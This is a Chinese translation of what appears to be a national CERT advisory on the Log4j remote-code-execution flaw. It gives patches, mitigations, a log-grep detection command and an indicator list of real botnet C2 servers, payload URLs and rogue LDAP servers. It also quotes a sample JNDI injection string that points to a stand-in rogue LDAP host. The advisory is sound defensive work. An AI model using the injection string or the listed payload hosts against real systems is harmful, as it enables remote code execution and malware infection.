针对流行的 Java 库 Log4j 的零日漏洞利用

Khan安全团队

发布于 2022-01-06 10:01:13

4690

发布于 2022-01-06 10:01:13

文章被收录于专栏：Khan安全团队

更新 2021-12-18：

由于新发现的 DoS（拒绝服务）攻击导致 StackOverflowError 终止进程，log4j 版本 2.17.0 刚刚发布。

减轻：

更新到 log4j 版本 2.17.0

或者

在日志记录配置的 PatternLayout 中，用线程上下文映射模式（%X、%mdc 或 %MDC）替换 ${ctx:loginId} 或 $${ctx:loginId} 等上下文查找。
否则，在配置中，删除对上下文查找的引用，如 ${ctx:loginId} 或 $${ctx:loginId}，它们源自应用程序外部的源，如 HTTP 标头或用户输入。

更新 2021-12-17：

请注意，第二个 log4j 漏洞 (CVE-2021-45046) 的 CVE 值更高，为 9.0，因为在某些情况下，该漏洞可能导致远程代码执行（或本地代码执行）。

完全删除 JndiLookup 等对策（zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class）也适用于 CVE-2021-45046，2.16.0 版修复了这个问题脆弱性也是如此。其他对策（例如禁用查找 log4j2.formatMsgNoLookups）或将 trustURLCodebase 设置为 false 并不能完全缓解该漏洞，因为某些攻击媒介可能保持开放状态。

另见此处：https : //logging.apache.org/log4j/2.x/security.html

我们再次敦促您尽快应用适当的安全更新 - 如果尚未这样做的话。

更新 2021-12-14：

我们想更新我们关于 log4j 的报告，其中包含最近曝光的几个要点：

拥有com.sun.jndi.rmi.object.trustURLCodebase并com.sun.jndi.cosnaming.object.trustURLCodebase设置为false并不能完全缓解的威胁，因为它可以发送攻击代码与请求1。
我们 NCSC-NL 的荷兰同事维护着一个 Github 存储库，其中包含许多有价值的信息。
您可能希望在防火墙上阻止传出的 LDAP 和 RMI 连接。请注意，仅仅阻止默认端口是不够的，因为攻击者可以自由选择端口来运行 Rogue LDAP 服务器。通常，通过将所需流量列入白名单来限制传出服务器流量是一个好主意。如果这是不可能的，您仍然可以监视传出连接并使用像 Suricata、Snort 或 Zeek 这样的 NIDS 提醒您此类连接。
Microsoft 报告说，他们的安全团队发现 Cobalt Strike 信标在 log4j 攻击后被丢弃。

周五早上，NCSC/GovCERT.ch 收到了一个名为“Log4j”的流行 Java 库中存在严重漏洞的报告。在收到这些报告时，该漏洞显然已被威胁行为者“在野外”利用，并且没有可用的补丁来修复该漏洞（0 天漏洞利用）。

Log4j 是一个流行的 Java 库，由 Apache 基金会开发和维护。该库在许多商业和开源软件产品中被广泛采用并用作 Java 的日志记录框架。

该漏洞 (CVE-2021-44228 ) 很关键，因为它可以被未经身份验证的对手远程利用来执行任意代码（远程代码执行 - RCE）。在通用漏洞评分系统 (CVSS) 中，漏洞的严重程度为 10（满分 10），该系统概述了漏洞的严重程度。

该漏洞源于 log4j 处理器处理日志消息的方式。如果攻击者发送特制消息（它包含类似的字符串${jndi:ldap://rogueldapserver.com/a}），这可能会导致加载外部代码类或消息查找并执行该代码，从而导致称为远程代码执行 (RCE) 的情况。

但漏洞也有点复杂：虽然某些产品可能存在漏洞，但这并不意味着该漏洞可以被成功利用，因为这取决于几个前置和后置条件，例如正在使用的 JVM、实际配置等. 2.0 和 2.14.1 之间的任何版本的 log4j 都会受到影响。

周五下午补丁一发布，我们就发布了一份针对国家关键基础设施 (KRITIS) 的公告，建议他们尽快应用相应的补丁。由于许多 3 rd方供应商在他们的产品中依赖 Log4j，他们也在努力为他们的产品发布补丁。在过去的 48 小时内，许多供应商都发布了其产品的安全补丁。我们敦促组织和国家关键基础设施检查他们使用 Log4j 的软件环境，并尽快应用相应的补丁。如果无法进行修补，我们建议采取任何可能的缓解措施，以避免进一步损坏。

上周末，我们一直在与国家和国际合作伙伴就该主题保持联系，不断重新评估局势。我们不断从 OSINT、合作伙伴和我们自己的传感器收集威胁情报，这使我们能够部署适当的缓解措施，在瑞士大规模保护易受攻击的设备。周六晚上，我们已开始通知瑞士可能受影响的组织有关可从 Internet 访问的易受攻击的 Log4j 实例。此类通知还发送至多个国家关键基础设施 (KRITIS)。

虽然该漏洞可能被用于针对国家关键基础设施的针对性攻击，但我们尚未收到任何这方面的报告。到目前为止，我们观察到的利用尝试被用于部署大规模恶意软件，如Mirai 、Kinsing 和Tsunami （又名Muhstik）。这些僵尸网络的主要用途是发起 DDoS 攻击（Mirai、Tsunami）或挖掘加密货币（Kinsing）。

建议

了解在您的环境中使用 log4j 的系统和软件（这可能是一项耗时的任务，因此最好尽早开始）。
立即为面向互联网的软件/设备应用相应的安全补丁
办理相应的安全补丁内部软件/设备在您尽早方便
如果由于某种原因无法修补，我们强烈建议将系统与 Internet 隔离和/或应用以下缓解措施：
- 对于版本 >=2.10：将 log4j2.formatMsgNoLookups 设置为 true
- 对于 2.0 到 2.10.0 的版本：您可能希望通过发出以下命令从 log4j 中完全删除 LDAP 类： zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 对于某些JVM版本，能够设置com.sun.jndi.rmi.object.trustURLCodebase并com.sun.jndi.cosnaming.object.trustURLCodebase以false减轻该漏洞。一些 JVM 版本已经将此作为默认设置
您可以使用以下 Linux/Unix 命令在您的 Web 服务器日志中检查漏洞利用尝试 - 无论它们是否成功： sudo egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log/
检查您的网络外围日志是否存在下面提到的入侵指标 (IOC) 列表：

nazi.uy # Mirai botnet C2
log.exposedbotnets.ru # Tsunami botnet C2
194.59.165.21:8080 # Tsunami botnet C2
195.133.40.15:25565 # Mirai botnet C2
185.154.53.140:80 # Kinsing botnet C2
138.197.206.223:80 # Kinsing payload delivery server
18.228.7.109:80 # Kinsing payload delivery server
82.118.18.201:80 # Kinsing payload delivery server
92.242.40.21:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
80.71.158.12:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
45.137.155.55:80 # Kinsing payload delivery server
185.191.32.198:80 # Kinsing payload delivery server
45.137.155.55:80 # Kinsing payload delivery server
62.210.130.250:80 # Mirai payload delivery server
http://210.141.105.67/wp-content/themes/twentythirteen/m8 # Kinsing payload URL
http://159.89.182.117/wp-content/themes/twentyseventeen/ldm # Kinsing payload URL
45.130.229.168:1389 # Rogue LDAP server
82.118.18.201:1534 # Rogue LDAP server
45.130.229.168:1389 # Rogue LDAP server
185.250.148.157:1389 # Rogue LDAP server
92.242.40.21:5557 # Rogue LDAP server
205.185.115.217:47324 # Rogue LDAP server
163.172.157.143:1389 # Rogue LDAP server
45.155.205.233:12344 # Rogue LDAP server

如果您使用基于 Snort 或 Suricata（或兼容）的基于网络的 IDS，您可能需要使用规则来检测漏洞利用企图8 9。
如果您有易受攻击的系统，请仔细检查它们是否有任何被利用的迹象，因为扫描非常激烈，我们相信易受攻击的系统很快就会被利用。
如果您使用的是 WAF，请部署 log4j 特定规则。这些存在于许多商业解决方案中，例如 Cloud Armor 、Cloudflare WAF 、Signal Sciences WAF 。

本文系外文翻译，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

java